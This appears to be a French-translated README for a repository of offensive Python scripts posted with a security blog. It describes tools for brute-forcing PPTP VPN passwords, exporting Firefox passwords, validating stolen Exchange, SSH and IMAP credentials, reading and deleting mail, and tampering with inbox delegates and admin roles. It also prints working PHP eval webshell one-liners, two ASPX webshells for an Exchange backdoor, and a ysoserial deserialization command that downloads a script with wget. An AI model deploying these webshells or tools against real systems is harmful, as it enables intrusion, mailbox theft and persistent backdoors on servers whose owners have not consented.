
Python codes of my blog.
Codes Python de mon blog.
Utilise une attaque par force brute pour obtenir le mot de passe du VPN PPTP.
Il lit les mots de passe contenus dans le fichier (nommé wordlist) puis utilise pptpsetup pour se connecter au serveur.
L'intervalle de temps est de 10 secondes.
Permet de scanner les ports.
Le délai d'expiration (timeout) est de 3 secondes.
Version C++ :
https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp
Permet d'obtenir l'adresse IP à partir de l'URL.
Je peux utiliser directement le résultat de Sublist3r.
Permet de supprimer les adresses IP en double du résultat de Sublist3r.
Je peux utiliser directement le résultat de urltoip.py.
Les adresses IP peuvent être triées à l'aide de Sublime (F9).
Permet de supprimer les éléments en double d'un fichier.
Référence :
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
Permet d'appeler l'API de fofa et d'afficher les adresses IP des résultats.
Vous pouvez obtenir 100 résultats.
Permet d'appeler l'API de fofa et d'afficher les adresses IP des résultats.
Si vous êtes VIP, vous obtiendrez 10 000 résultats.
Référence :
https://seclists.org/fulldisclosure/2019/Sep/31
Ex. :
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php
Référence :
https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w
Ex. :
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');
Permet d'exporter les mots de passe de Firefox.
Permet d'obtenir la version d'Exchange.
Obtenez d'abord le BuildNumber à partir du code source de l'URL, puis la version.
Référence :
Permet de scanner la vulnérabilité RCE SMBv3.
Le délai d'expiration (timeout) est de 3 secondes.
Référence :
https://github.com/imjdl/CVE-2020-8515-PoC
CVE-2020-8515
Les appareils DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta et Vigor300B 1.3.3_Beta, 1.4.2.1_Beta et 1.4.4_Beta permettent l'exécution de code à distance en tant que root (sans authentification) via des métacaractères shell dans l'URI cgi-bin/mainfunction.cgi..
Produits concernés :
Utilise l'API SOAP de Zimbra pour se connecter au serveur de messagerie Zimbra.
Utilisation :
Zimbra_SOAP_API.py <url> <username> <password> <mode>
mode :
Ex. :
Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low
Permet de vérifier la validité d'un compte Exchange Web Service (prend en charge le texte en clair et ntlmhash).
Référence : https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
Utilisation :
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash
Ex. :
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1
Permet d'accéder à Autodiscover.xml et d'obtenir la configuration de l'utilisateur (prend en charge le texte en clair et ntlmhash).
Utilisation :
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx
Ex. :
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting
Mode supplémentaire de checkAutodiscover.py
Ajoute un paramètre
Permet d'accéder à Exchange Web Service (prend en charge le texte en clair et ntlmhash).
Utilisation :
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname
Ex. :
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox
Permet de vérifier la validité des identifiants SSH (prend en charge le mot de passe et le fichier de clé privée).
Utilisation :
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile
Ex. :
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa
Exécution de commandes à distance via SSH (prend en charge le mot de passe et le fichier de clé privée).
Utilisation :
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell
Ex. :
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps
Permet de vérifier la validité des identifiants de eas (Exchange Server ActiveSync).
Utilisation :
easCheck.py <host> <user> <password>
Ex. :
easCheck.py 192.168.1.1 user1 password1
Permet de vérifier la validité d'un compte Exchange en se connectant à OWA.
Utilisation :
checkOWA.py <url> <user> <password>
Permet de lire les e-mails en se connectant à OWA.
Utilisation :
owaManage.py <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment
Utilise IMAP pour se connecter au serveur de messagerie.
Utilisation :
imapManage.py <IMAP server> <username> <password> <command>
<command>:
CheckConfig get the folder name
SaveAttachOfInbox save the attachments of Inbox
SaveAttachOfSent save the attachments of Sent
DownloadAllMailOfInbox download all the mails of Inbox
DownloadAllMailOfSent download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig
Permet d'implémenter l'authentification NTLM et de communiquer avec execCmd.aspx.
Les données de communication sont encodées en Base64.
Utilisation :
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami
Version C# : SharpExchangeBackdoor.cs
Permet d'envoyer une charge utile (payload) à la backdoor webshell d'Exchange.
Prise en charge :
Utilisation :
<url> <user> <password> <mode> <path>
mode:
assemblyLoad
webshellWrite
Ex. :
SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx
assemblyLoad.aspx :
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>
webshellWrite.aspx :
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>
Désérialisation d'objets non sécurisée - IMAP
Utilisation :
<url> <user> <password> <payload path>
Ex. :
https://192.168.1.1 [email protected] password1 payload.obj
Remarque :
Vous pouvez générer payload.obj comme ceci :
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj
Permet de tester l'exécution de code par désérialisation d'Exchange.
Des permissions de lecture et d'écriture des fichiers Exchange à l'exécution de code par désérialisation.
Vous devez modifier la machineKey dans %ExchangeInstallPath%\FrontEnd\HttpProxy\\web.config pour implémenter l'exécution de code par désérialisation.
<path> : owa ou ecp
Utilisation :
<url> <key> <path>
Ex.
192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
Permet d'analyser les messages SOAP XML d'Exchange.
Permet d'accéder au centre d'administration Exchange.
Utilisation :
eacManage.py <url> <user> <password> <command>
<command>:
- ListAdminRoles
- NewAdminRoles
- EditAdminRoles
- DeleteAdminRoles
- AddMailbox
- RemoveMailbox
- ExportAllMailbox
- GetCertificate
- ExportCertificate
Utilise l'API vSphere Automation (v7.0U1+) pour gérer la VM.
Prend en charge les VM Windows et Linux.
Utilise l'API vSphere Web Services pour gérer la VM.
Référence : https://github.com/vmware/pyvmomi/
Installation : pip install --upgrade pyvmomi
Permet de gérer la base de données LDAP sur vCenter.
Permet de gérer la plateforme SolarWinds Orion.
Utilise l'API SolarWinds Orion pour gérer la plateforme Orion.
Permet de gérer le serveur de messagerie MailEnable.
Il prend en charge la réception des résultats via les protocoles HTTP ou FTP.
Permet d'accéder à Exchange Web Service (prend en charge le texte en clair et ntlmhash).
Permet d'accéder à Exchange Web Service (prend en charge le texte en clair et ntlmhash).
Utilise requests_ntlm2 pour accéder à Exchange Web Service (prend en charge le texte en clair et ntlmhash).
Utilise requests_ntlm2 pour accéder à Exchange Web Service (prend en charge le texte en clair et ntlmhash).
Utilise une session pour réduire les données de communication.
Modifié à partir de https://github.com/horizon3ai/vcenter_saml_login
Modifié à partir de https://github.com/horizon3ai/vcenter_saml_login
Permet d'obtenir la version d'Exchange et de faire correspondre les vulnérabilités existantes.
Permet d'obtenir la version d'Exchange et d'analyser la version à partir de https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019.
Vous devez enregistrer https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 sous le nom exchange.data.
Permet d'obtenir la version d'Exchange et d'analyser la version à partir de https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019.
Permet d'obtenir l'adresse IP interne d'Exchange.
Basé sur msf auxiliary/scanner/http/owa_iis_internal_ip, mais prend en charge davantage de serveurs Exchange.
Permet d'obtenir la version de vRealize Operations Manager.
Utilise bash pour exécuter des commandes.
Permet de déchiffrer le fichier .plx de Sophos UTM.
Référence :
https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223
https://github.com/the6p4c/bfs_extract
Permet d'analyser la configuration de Sophos UTM.